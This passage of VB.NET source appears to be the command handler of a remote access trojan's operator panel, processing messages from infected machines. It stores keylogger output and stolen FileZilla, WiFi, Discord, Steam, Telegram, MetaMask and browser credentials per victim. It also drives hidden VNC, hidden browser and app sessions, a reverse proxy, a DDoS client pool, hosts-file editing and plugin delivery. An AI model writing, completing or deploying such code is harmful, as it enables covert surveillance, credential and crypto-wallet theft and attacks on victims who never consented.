GMapOverlay() Dim marker = New GMarkerGoogle(New PointLatLng(A(2).Split(",")(0), A(2).Split(",")(1)), GMarkerGoogleType.blue) marker.ToolTipText = String.Format("Location : " & DateTime.Now.ToLongTimeString()) RD.GMapControl1.Overlays.Add(markerOverlay) markerOverlay.Markers.Add(marker) marker.ToolTipMode = MarkerTooltipMode.Always Catch ex As Exception Debug.WriteLine("GMapsapi: " & ex.Message) End Try End If End If Exit Sub Case "Compiler" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As VBCode = My.Application.OpenForms("VB.Net Compiler : " & A(1)) If RD IsNot Nothing Then C.isDisconnected() Return End If If RD Is Nothing Then RD = New VBCode RD.C = C RD.Name = "VB.Net Compiler : " & A(1) RD.Text = "VB.Net Compiler : " & A(1) RD.Show() End If End If Exit Sub Case "CompilerErr" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As VBCode = My.Application.OpenForms("VB.Net Compiler : " & A(1)) If RD IsNot Nothing Then RD.ToolStripStatusLabel1.ForeColor = Color.Red RD.ToolStripStatusLabel1.Visible = True RD.ToolStripStatusLabel1.Text = A(2) End If End If Case "CompilerMSG" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As VBCode = My.Application.OpenForms("VB.Net Compiler : " & A(1)) If RD IsNot Nothing Then RD.ToolStripStatusLabel1.ForeColor = Color.Green RD.ToolStripStatusLabel1.Visible = True RD.ToolStripStatusLabel1.Text = A(2) End If End If Exit Sub Case "Registry" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As Registry = My.Application.OpenForms("Registry Editor : " & A(1)) If RD IsNot Nothing Then C.isDisconnected() Return End If If RD Is Nothing Then RD = New Registry RD.C = C RD.Name = "Registry Editor : " & A(1) RD.Text = "Registry Editor : " & A(1) RD.Show() End If End If Exit Sub Case "RG" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As Registry = My.Application.OpenForms("Registry Editor : " & A(1)) If RD IsNot Nothing Then Select Case A(2) Case "~" RD.RGk.Enabled = True RD.RGk.SelectedNode.Nodes.Clear() RD.ListView1.Items.Clear() RD.ToolStripProgressBar1.Value = 0 RD.ToolStripProgressBar1.Maximum = (A.Length - 3) Dim num20 As Integer = (A.Length - 1) Dim i As Integer = 4 Do While (i <= num20) Try RD.ToolStripProgressBar1 = RD.ToolStripProgressBar1 RD.ToolStripProgressBar1.Value += 1 If (A(i).Length > 0) Then If A(i).Contains("/") Then Dim strArray2 As String() = Strings.Split(A(i), "/", -1, CompareMethod.Binary) Dim item As ListViewItem = RD.ListView1.Items.Add(strArray2(0)) item.SubItems.Add(strArray2(1)) Try item.SubItems.Add(strArray2(2)) Catch exception17 As Exception Debug.WriteLine(exception17.Message) End Try If (strArray2(1) = "String") Then item.ImageIndex = 1 Else item.ImageIndex = 2 End If Else RD.RGk.SelectedNode.Nodes.Add(A(i)) End If End If Catch exception18 As Exception Debug.WriteLine(exception18.Message) End Try i += 1 Loop RD.RGk.SelectedNode.Expand() RD.RGk.Select() RD.RGk.Focus() Dim num21 As Integer = (RD.ListView1.Columns.Count - 1) Dim j As Integer = 0 RD.ToolStripStatusLabel1.ForeColor = Color.Black Do While (j <= num21) RD.ListView1.Columns.Item(j).AutoResize(ColumnHeaderAutoResizeStyle.HeaderSize) j += 1 RD.ToolStripStatusLabel1.Text = "Keys [" & RD.ListView1.Items.Count & "]" Loop RD.ToolStripProgressBar1.Value = 0 Exit Select End Select End If End If Exit Sub Case "RGErr" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As Registry = My.Application.OpenForms("Registry Editor : " & A(1)) If RD IsNot Nothing Then RD.RGk.Enabled = True RD.ToolStripStatusLabel1.ForeColor = Color.Red RD.ToolStripStatusLabel1.Text = A(2) End If End If Exit Sub Case "DDos" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As DDosAttack = My.Application.OpenForms("DDosAttack") If RD IsNot Nothing Then If Not RD.Clients.Contains(C) Then RD.Clients.Add(C) RD.ToolStripStatusLabel2.Text = "Clients [" & RD.Clients.Count & "]" End If End If End If Exit Sub Case "OfflineGet" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim fullPath = Path.Combine(Application.StartupPath, "ClientsFolder", A(1), "Keylogger") Dim Logs As String = A(2) If Not Directory.Exists(fullPath) Then Directory.CreateDirectory(fullPath) End If File.WriteAllText(fullPath & "\KeyLogger_" & Date.Now.ToString("MM-dd-yyyy HH;mm;ss;fff") & ".txt", Logs.Replace(vbLf, Environment.NewLine).Replace("[ENTER]", Environment.NewLine).Replace("[SPACE]", " ")) LVLog(C.IP.Split(":")(0) & " keyLogger was saved @ ClientsFolder \ " & A(1) & " \ Keylogger", Color.Purple) End If Exit Sub Case "FilesSearcher" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As FilesSearcher = My.Application.OpenForms("Files Searcher : " & A(1)) If RD IsNot Nothing Then C.isDisconnected() Return End If If RD Is Nothing Then RD = New FilesSearcher RD.C = C RD.Name = "Files Searcher : " & A(1) RD.Text = "Files Searcher : " & A(1) RD.Show() End If End If Exit Sub Case "ZipGet" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As FilesSearcher = My.Application.OpenForms("Files Searcher : " & A(1)) If RD IsNot Nothing Then Dim fullPath = Path.Combine(Application.StartupPath, "ClientsFolder", A(1), "FilesSearcher") If A(2).Contains("\") Or A(2).Contains("/") Or A(1).Contains("\") Or A(1).Contains("/") Then RD.ToolStripStatusLabel1.ForeColor = Color.Red RD.ToolStripStatusLabel1.Text = IO.Path.GetFileName(A(2)) & " Download Blocked!" Else RD.Guna2GradientButton1.Enabled = True If Not Directory.Exists(fullPath) Then Directory.CreateDirectory(fullPath) End If IO.File.WriteAllBytes(fullPath & "\" & A(2), Decompress(Convert.FromBase64String(A(3)))) RD.ToolStripStatusLabel1.ForeColor = Color.Green RD.ToolStripStatusLabel1.Text = "Successfully : " & A(2) End If End If End If Exit Sub Case "FilesSearcherMSG" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As FilesSearcher = My.Application.OpenForms("Files Searcher : " & A(1)) If RD IsNot Nothing Then RD.ToolStripStatusLabel1.ForeColor = Color.Green RD.ToolStripStatusLabel1.Text = A(2) End If End If Exit Sub Case "FilesSearcherErr" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As FilesSearcher = My.Application.OpenForms("Files Searcher : " & A(1)) If RD IsNot Nothing Then RD.Guna2GradientButton1.Enabled = True RD.ToolStripStatusLabel1.ForeColor = Color.Red RD.ToolStripStatusLabel1.Text = A(2) End If End If Exit Sub Case "ServiceManager" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As ServiceManager = My.Application.OpenForms("Service Manager : " & A(1)) If RD IsNot Nothing Then C.isDisconnected() Return End If If RD Is Nothing Then RD = New ServiceManager RD.C = C RD.Name = "Service Manager : " & A(1) RD.Text = "Service Manager : " & A(1) RD.Show() End If End If Exit Sub Case "GetService" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As ServiceManager = My.Application.OpenForms("Service Manager : " & A(1)) If RD IsNot Nothing Then RD.ListView1.Items.Clear() Dim _NextProc As String() = Split(A(2), "-=>") For i As Integer = 0 To _NextProc.Length - 1 If _NextProc(i).Length > 0 Then Dim itm As New ListViewItem itm.Text = _NextProc(i) itm.ImageIndex = 0 itm.SubItems.Add(_NextProc(i + 1)) itm.SubItems.Add(_NextProc(i + 2)) itm.SubItems.Add(_NextProc(i + 3)) itm.SubItems.Add(_NextProc(i + 4)) RD.ListView1.Items.Add(itm) End If i += 4 Next RD.ToolStripStatusLabel2.Text = "Service [" & RD.ListView1.Items.Count & "]" RD.ListView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize) End If End If Exit Sub Case "Recovery" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim fullPath = Path.Combine(Application.StartupPath, "ClientsFolder", A(1), "Recovery") Dim Logs As String = A(3) If Not String.IsNullOrEmpty(Logs) Then If Not Directory.Exists(fullPath) Then Directory.CreateDirectory(fullPath) End If End If Dim AHayanya = False Select Case Convert.ToInt32(A(2)) Case 0 If String.IsNullOrEmpty(Logs) Then LVLog(C.IP.Split(":")(0) & " Has No FileZilla", Color.MediumPurple) Else IO.File.WriteAllText(fullPath & "\FileZilla_" & DateAndTime.Now.ToString("MM-dd-yyyy HH-mm-ss-fff") & ".txt", Logs) LVLog(C.IP.Split(":")(0) & " FileZilla Was Saved @ ClientsFolder \ " & A(1) & " \ Recovery", Color.Purple) End If Case 1 If String.IsNullOrEmpty(Logs) Then LVLog(C.IP.Split(":")(0) & " Has No WifiKeys", Color.MediumPurple) Else IO.File.WriteAllText(fullPath & "\WifiKeys_" & DateAndTime.Now.ToString("MM-dd-yyyy HH-mm-ss-fff") & ".txt", Logs) LVLog(C.IP.Split(":")(0) & " WifiKeys Was Saved @ ClientsFolder \ " & A(1) & " \ Recovery", Color.Purple) End If Case 2 If String.IsNullOrEmpty(Logs) Then LVLog(C.IP.Split(":")(0) & " Has No DiscordToken", Color.MediumPurple) Else IO.File.WriteAllText(fullPath & "\DiscordToken_" & DateAndTime.Now.ToString("MM-dd-yyyy HH-mm-ss-fff") & ".txt", Logs) LVLog(C.IP.Split(":")(0) & " DiscordToken Was Saved @ ClientsFolder \ " & A(1) & " \ Recovery", Color.Purple) End If Case 3 If String.IsNullOrEmpty(Logs) Then LVLog(C.IP.Split(":")(0) & " Has No ProductKey", Color.MediumPurple) Else IO.File.WriteAllText(fullPath & "\ProductKey_" & DateAndTime.Now.ToString("MM-dd-yyyy HH-mm-ss-fff") & ".txt", Logs) LVLog(C.IP.Split(":")(0) & " ProductKey Was Saved @ ClientsFolder \ " & A(1) & " \ Recovery", Color.Purple) End If Case 4 If String.IsNullOrEmpty(Logs) Then LVLog(C.IP.Split(":")(0) & " Has No Telegram_tdata", Color.MediumPurple) Else IO.File.WriteAllBytes(fullPath & "\Telegram_tdata_" & DateAndTime.Now.ToString("MM-dd-yyyy HH-mm-ss-fff") & ".zip", Decompress(Convert.FromBase64String(Logs))) LVLog(C.IP.Split(":")(0) & " Telegram_tdata Was Saved @ ClientsFolder \ " & A(1) & " \ Recovery", Color.Purple) End If Case 5 If String.IsNullOrEmpty(Logs) Then LVLog(C.IP.Split(":")(0) & " Has No MetaMask", Color.MediumPurple) Else IO.File.WriteAllBytes(fullPath & "\MetaMask_" & DateAndTime.Now.ToString("MM-dd-yyyy HH-mm-ss-fff") & ".zip", Decompress(Convert.FromBase64String(Logs))) LVLog(C.IP.Split(":")(0) & " MetaMask Was Saved @ ClientsFolder \ " & A(1) & " \ Recovery", Color.Purple) End If Case 6 If String.IsNullOrEmpty(Logs) Then LVLog(C.IP.Split(":")(0) & " Has No Saved Passwords", Color.MediumPurple) Else IO.File.WriteAllText(fullPath & "\PasswordsRecover_" & DateAndTime.Now.ToString("MM-dd-yyyy HH-mm-ss-fff") & ".txt", Logs) LVLog(C.IP.Split(":")(0) & " PasswordsRecovered Was Saved @ ClientsFolder \ " & A(1) & " \ Recovery", Color.Purple) End If Case 7 If String.IsNullOrEmpty(Logs) Then LVLog(C.IP.Split(":")(0) & " Has No Saved Passwords", Color.MediumPurple) Else IO.File.WriteAllBytes(fullPath & "\Passwords_" & DateAndTime.Now.ToString("MM-dd-yyyy HH-mm-ss-fff") & ".zip", Decompress(Convert.FromBase64String(Logs))) LVLog(C.IP.Split(":")(0) & " Passwords Was Saved @ ClientsFolder \ " & A(1) & " \ Recovery", Color.Purple) End If Case 10 If String.IsNullOrEmpty(Logs) Then LVLog(C.IP.Split(":")(0) & " Has No SteamToken", Color.MediumPurple) Else IO.File.WriteAllText(fullPath & "\SteamToken_" & DateAndTime.Now.ToString("MM-dd-yyyy HH-mm-ss-fff") & ".txt", Logs) LVLog(C.IP.Split(":")(0) & " SteamToken Was Saved @ ClientsFolder \ " & A(1) & " \ Recovery", Color.Purple) End If End Select End If Exit Sub 'Case "RunRecovery" ' If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else ' Dim fullPath = Path.Combine(Application.StartupPath, "ClientsFolder", A(1), "Recovery") ' Dim Logs As String = A(2) ' Dim RecoveryOut As String = fullPath & "\RecoveryData" ' If Not Directory.Exists(RecoveryOut) Then ' Directory.CreateDirectory(RecoveryOut) ' End If ' Dim brsInfo As BrsInfo = JsonConvert.DeserializeObject(Of BrsInfo)(Logs) ' File.WriteAllText(RecoveryOut & "\cookies.json", JsonConvert.SerializeObject(brsInfo.listcookie, Formatting.Indented)) ' File.WriteAllText(RecoveryOut & "\passwords.json", JsonConvert.SerializeObject(brsInfo.listps, Formatting.Indented)) ' File.WriteAllText(RecoveryOut & "\bookmark.json", JsonConvert.SerializeObject(brsInfo.listbmark, Formatting.Indented)) ' File.WriteAllText(RecoveryOut & "\history.json", JsonConvert.SerializeObject(brsInfo.listhist, Formatting.Indented)) ' File.WriteAllText(RecoveryOut & "\autofill.json", JsonConvert.SerializeObject(brsInfo.listautofill, Formatting.Indented)) ' File.WriteAllText(RecoveryOut & "\credit.json", JsonConvert.SerializeObject(brsInfo.listcredit, Formatting.Indented)) ' Dim cookies As String = RecoveryOut & "\cookies.txt" ' File.Delete(cookies) ' For Each cookie As Cookie In brsInfo.listcookie ' File.AppendAllText(cookies, String.Format("{0}" & vbTab & "{1}" & vbTab & "{2}" & vbTab & "{3}" & vbTab & "{4}" & vbTab & "{5}" & vbTab & "{6}" & vbLf, New Object() {cookie.domain, cookie.hostOnly, cookie.path, cookie.httpOnly, cookie.expirationDate, cookie.name, cookie.value}).Replace("False", "FALSE").Replace("True", "TRUE")) ' Next ' LVLog(C.IP.Split(":")(0) & " Passwords Was Saved @ ClientsFolder \ " & A(1) & " \ Recovery" & " \ RecoveryData", Color.Purple) ' End If ' Exit Sub Case "Chromium" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim fullPath = Path.Combine(Application.StartupPath, "ClientsFolder", A(1), "Recovery") Dim Logs As String = A(2) If Not String.IsNullOrEmpty(Logs) Then If Not Directory.Exists(fullPath) Then Directory.CreateDirectory(fullPath) End If IO.File.WriteAllText(fullPath & "\Chromium_" & DateAndTime.Now.ToString("MM-dd-yyyy HH;mm;ss;fff") & ".txt", Logs) LVLog(C.IP.Split(":")(0) & " Chromium Passwords Was Saved @ ClientsFolder \ " & A(1) & " \ Recovery", Color.Purple) Else LVLog(C.IP.Split(":")(0) & " Has No Passwords", Color.MediumPurple) End If End If Exit Sub Case "RevProxy" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As Proxy = My.Application.OpenForms("ReverseProxy") If RD IsNot Nothing Then C.isDisconnected() Return End If If RD Is Nothing Then RD = New Proxy RD.C = C RD.Name = "ReverseProxy" RD.Text = "ReverseProxy" RD.Cip = C.IP.ToString.Split(":")(0) RD.PictureBox1.Image = Main.ii.Images.Item(GetCountry.LookupCountryCode(C.IP.Split(":")(0)) & ".png") RD.Label1.Text = GetCountry.LookupCountryName(C.IP.Split(":")(0)) RD.Show() End If End If Exit Sub Case "FormHVNC" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As HVNC = My.Application.OpenForms("Hidden VNC : " & A(1)) If RD IsNot Nothing Then C.isDisconnected() Return End If If RD Is Nothing Then RD = New HVNC RD.C = C RD.Name = "Hidden VNC : " & A(1) RD.Text = "Hidden VNC : " & A(1) RD.Width = Convert.ToInt32(A(2)) RD.Height = Convert.ToInt32(A(3)) RD.Show() End If End If Exit Sub Case "HVNC" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As HVNC = My.Application.OpenForms("Hidden VNC : " & A(1)) If RD IsNot Nothing Then Dim MM = Image.FromStream(New IO.MemoryStream(Decompress(Convert.FromBase64String(A(2))))) RD.PictureBox1.Image = MM RD.FPS += 1 If RD.sw.ElapsedMilliseconds >= 1000 Then RD.Text = "Hidden VNC : " & A(1) & " FPS:" & RD.FPS.ToString & " " & "Size:" & BytesToString(b.LongLength) RD.FPS = 0 RD.sw = Stopwatch.StartNew() End If If RD.Guna2GradientButton1.Text = "Capturing..." Then Dim Pack As Byte() = SB("Cap" & SettingsHelper.SPL & RD.Guna2ComboBox1.Text.Replace("%", "").ToString & SettingsHelper.SPL & Conversions.ToString(Convert.ToDouble(RD.Guna2ComboBox3.Text.Replace("%", "").ToString) / 100.0)) ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), Pack) End If End If End If Exit Sub Case "HvncMSG" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As HVNC = My.Application.OpenForms("Hidden VNC : " & A(1)) If RD IsNot Nothing Then RD.ToolStripStatusLabel1.Text = A(2) End If End If Exit Sub Case "ClibHVNC" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Windows.Forms.Clipboard.SetText(A(1)) End If Exit Sub Case "FormHApps" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As HApps = My.Application.OpenForms("Hidden Apps : " & A(1)) If RD IsNot Nothing Then C.isDisconnected() Return End If If RD Is Nothing Then RD = New HApps RD.C = C RD.Name = "Hidden Apps : " & A(1) RD.Text = "Hidden Apps : " & A(1) RD.Show() End If End If Exit Sub Case "HApps+" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As HApps = My.Application.OpenForms("Hidden Apps : " & A(1)) If RD IsNot Nothing Then Dim Stream As String = A(2) If Stream.Length > 0 Then Dim MM = New IO.MemoryStream(Decompress(Convert.FromBase64String(Stream))) Dim bitmap As Bitmap = Image.FromStream(MM) RD.PictureBox1.Image = bitmap RD.rdSize = bitmap.Size RD.FPS += 1 If RD.sw.ElapsedMilliseconds >= 1000 Then RD.Text = "Hidden Apps : " & A(1) & " FPS:" & RD.FPS.ToString & " " & "Size:" & BytesToString(b.LongLength) RD.FPS = 0 RD.sw = Stopwatch.StartNew() End If End If If RD.Guna2GradientButton1.Text = "Capturing..." Then Dim Pack As Byte() = SB("HApps+" & SettingsHelper.SPL & RD.Guna2ComboBox1.Text.Replace("%", "").ToString) ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), Pack) End If End If End If Exit Sub Case "WindowsList" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As HApps = My.Application.OpenForms("Hidden Apps : " & A(1)) If RD IsNot Nothing Then RD.ListView1.Items.Clear() RD.ImageList1.Images.Clear() Dim array As String() = A(2).Split(New String(0) {"-==>"}, StringSplitOptions.None) Dim num As Integer For num = 0 To array.Length - 1 If array(num).Length > 0 Then Dim itm As New ListViewItem itm.Text = New FileInfo(array(num)).Name itm.SubItems.Add(array(num + 3)) Dim im As Image = Image.FromStream(New MemoryStream(Convert.FromBase64String(array(num + 2)))) RD.ImageList1.Images.Add(array(num + 1), im) itm.ImageKey = array(num + 1) itm.ToolTipText = array(num) RD.ListView1.Items.Add(itm) End If num += 3 Next RD.ToolStripStatusLabel1.Text = "Apps [" & RD.ListView1.Items.Count.ToString & "]" RD.ListView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize) End If End If Exit Sub Case "HAppsMSG" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As HApps = My.Application.OpenForms("Hidden Apps : " & A(1)) If RD IsNot Nothing Then RD.ToolStripStatusLabel2.Text = A(2) End If End If Exit Sub Case "FormHBrowser" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As HBrowser = My.Application.OpenForms("Hidden Browser : " & A(1)) If RD IsNot Nothing Then C.isDisconnected() Return End If If RD Is Nothing Then RD = New HBrowser RD.C = C RD.Name = "Hidden Browser : " & A(1) RD.Text = "Hidden Browser : " & A(1) RD.Show() End If End If Exit Sub Case "HBrowser+" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As HBrowser = My.Application.OpenForms("Hidden Browser : " & A(1)) If RD IsNot Nothing Then Dim Stream As String = A(2) If Stream.Length > 0 Then Dim MM = New IO.MemoryStream(Decompress(Convert.FromBase64String(Stream))) Dim bitmap As Bitmap = Image.FromStream(MM) RD.PictureBox1.Image = bitmap RD.rdSize = bitmap.Size RD.FPS += 1 If RD.sw.ElapsedMilliseconds >= 1000 Then RD.Text = "Hidden Browser : " & A(1) & " FPS:" & RD.FPS.ToString & " " & "Size:" & BytesToString(b.LongLength) RD.FPS = 0 RD.sw = Stopwatch.StartNew() End If End If If RD.Guna2GradientButton1.Text = "Capturing..." Then Dim Pack As Byte() = SB("HBrowser+" & SettingsHelper.SPL & RD.Guna2ComboBox1.Text.Replace("%", "").ToString) ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), Pack) End If End If End If Exit Sub Case "WindowsActive" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As HBrowser = My.Application.OpenForms("Hidden Browser : " & A(1)) If RD IsNot Nothing Then RD.ListView1.Items.Clear() RD.ImageList1.Images.Clear() Dim array As String() = A(2).Split(New String(0) {"-==>"}, StringSplitOptions.None) Dim num As Integer For num = 0 To array.Length - 1 If array(num).Length > 0 Then Dim itm As New ListViewItem itm.Text = New FileInfo(array(num)).Name itm.SubItems.Add(array(num + 3)) Dim im As Image = Image.FromStream(New MemoryStream(Convert.FromBase64String(array(num + 2)))) RD.ImageList1.Images.Add(array(num + 1), im) itm.ImageKey = array(num + 1) itm.ToolTipText = array(num) RD.ListView1.Items.Add(itm) End If num += 3 Next RD.ToolStripStatusLabel1.Text = "Browsers [" & RD.ListView1.Items.Count.ToString & "]" RD.ListView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize) End If End If Exit Sub Case "HBrowserMSG" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As HBrowser = My.Application.OpenForms("Hidden Browser : " & A(1)) If RD IsNot Nothing Then RD.ToolStripStatusLabel2.Text = A(2) End If End If Exit Sub Case "Hosts" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As Hosts = My.Application.OpenForms("Edit Hosts : " & A(1)) If RD Is Nothing Then RD = New Hosts RD.C = C RD.Name = "Edit Hosts : " & A(1) RD.Text = "Edit Hosts : " & A(1) RD.Show() End If Try Dim RD1 As Hosts = My.Application.OpenForms("Edit Hosts : " & A(1)) RD1.Guna2TextBox1.Text = A(3) RD1.Guna2TextBox2.Text = A(2) Catch End Try End If Exit Sub Case "HostsMSG" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As Hosts = My.Application.OpenForms("Edit Hosts : " & A(1)) If RD IsNot Nothing Then RD.ToolStripStatusLabel1.ForeColor = Color.Green RD.ToolStripStatusLabel1.Text = A(2) End If End If Exit Sub Case "HostsErr" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As Hosts = My.Application.OpenForms("Edit Hosts : " & A(1)) If RD IsNot Nothing Then RD.ToolStripStatusLabel1.ForeColor = Color.Red RD.ToolStripStatusLabel1.Text = A(2) RD.ToolStripMenuItem1.Enabled = True End If End If Exit Sub Case "MBox" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As MBox = My.Application.OpenForms("MessageBox : " & A(1)) If RD IsNot Nothing Then C.isDisconnected() Return End If If RD Is Nothing Then RD = New MBox RD.C = C RD.Name = "MessageBox : " & A(1) RD.Text = "MessageBox : " & A(1) RD.Show() End If End If Exit Sub Case "MBoxMSG" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As MBox = My.Application.OpenForms("MessageBox : " & A(1)) If RD IsNot Nothing Then RD.ToolStripStatusLabel1.ForeColor = Color.Green RD.ToolStripStatusLabel1.Text = A(2) End If End If Exit Sub Case "MBoxErr" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As MBox = My.Application.OpenForms("MessageBox : " & A(1)) If RD IsNot Nothing Then RD.ToolStripStatusLabel1.ForeColor = Color.Red RD.ToolStripStatusLabel1.Text = A(2) End If End If Exit Sub Case "PING!" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else SyncLock SettingsHelper.Online Try Dim Pong As Byte() = SB("pong") ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), Pong) If C.LV IsNot Nothing Then C.LV.SubItems(F._ActiveWindow.Index).Text = A(1).ToString C.LV.SubItems(F._idle.Index).Text = uptimeToDHMS(Convert.ToInt32(A(2).ToString)) Else Debug.WriteLine("Temp socket pinged server") End If Catch ex As Exception Debug.WriteLine("PING!: " & ex.Message) End Try End SyncLock End If Exit Sub Case "pong" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else SyncLock SettingsHelper.Online Try If C.LV IsNot Nothing Then Dim interval As Integer = CInt(A(1)) C.LV.SubItems(F._Ping.Index).Text = interval & " MS" If interval > 400 Then C.LV.SubItems(F._Ping.Index).ForeColor = Color.Red ElseIf interval > 200 Then C.LV.SubItems(F._Ping.Index).ForeColor = Color.Orange Else C.LV.SubItems(F._Ping.Index).ForeColor = Color.Green End If End If Catch ex As Exception Debug.WriteLine("pong: " & ex.Message) End Try End SyncLock End If Exit Sub Case "sendPlugin" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else LVLog("Sending the plugin to client " & C.IP.Split(":")(0) & " for the first time please wait..", Color.RoyalBlue) For Each plugin As String In Directory.GetFiles("Plugins", "*.dll", SearchOption.TopDirectoryOnly) If A(1) = GetChecksum(plugin) Then Dim BL As Byte() = SB("savePlugin" & SettingsHelper.SPL & A(1) & SettingsHelper.SPL & Convert.ToBase64String(Compress(File.ReadAllBytes(plugin)))) ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), BL) LVLog("Plugin " & Path.GetFileName(plugin) & " sent to " & C.IP.Split(":")(0), Color.RoyalBlue) Exit For End If Next End If Exit Sub Case "Error" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else LVLog(C.IP.Split(":")(0) & " " & A(1), Color.Red) SettingsHelper.MSGS += 1 End If Exit Sub Case "Msg" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else LVLog(C.IP.Split(":")(0) & " " & A(1), Color.Purple) SettingsHelper.MSGS += 1 End If Exit Sub Case "#CAP" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else If SettingsHelper.Screens Then Dim MM = New IO.MemoryStream(Decompress(Convert.FromBase64String(A(2)))) Bitmap.FromStream(MM) For Each x As ListViewItem In F.Lv4.Items If x.SubItems(0).Text = A(1) Then Dim imgKey As String = A(1) Dim previousImage As Image = F.ImageList1.Images(F.ImageList1.Images.Keys.IndexOf(A(1))) F.ImageList1.Images.RemoveByKey(imgKey) F.ImageList1.Images.Add(imgKey, Bitmap.FromStream(MM)) previousImage.Dispose() MM.Dispose() Exit Select End If Next F.ImageList1.Images.Add(A(1), Bitmap.FromStream(MM)) F.Lv4.Items.Add(A(1), A(1)) MM.Dispose() End If End If Exit Sub End Select Exit Sub Catch ex As Exception LVLog(ex.Message, Color.Red) SettingsHelper.MSGS += 1 End Try End Sub End Class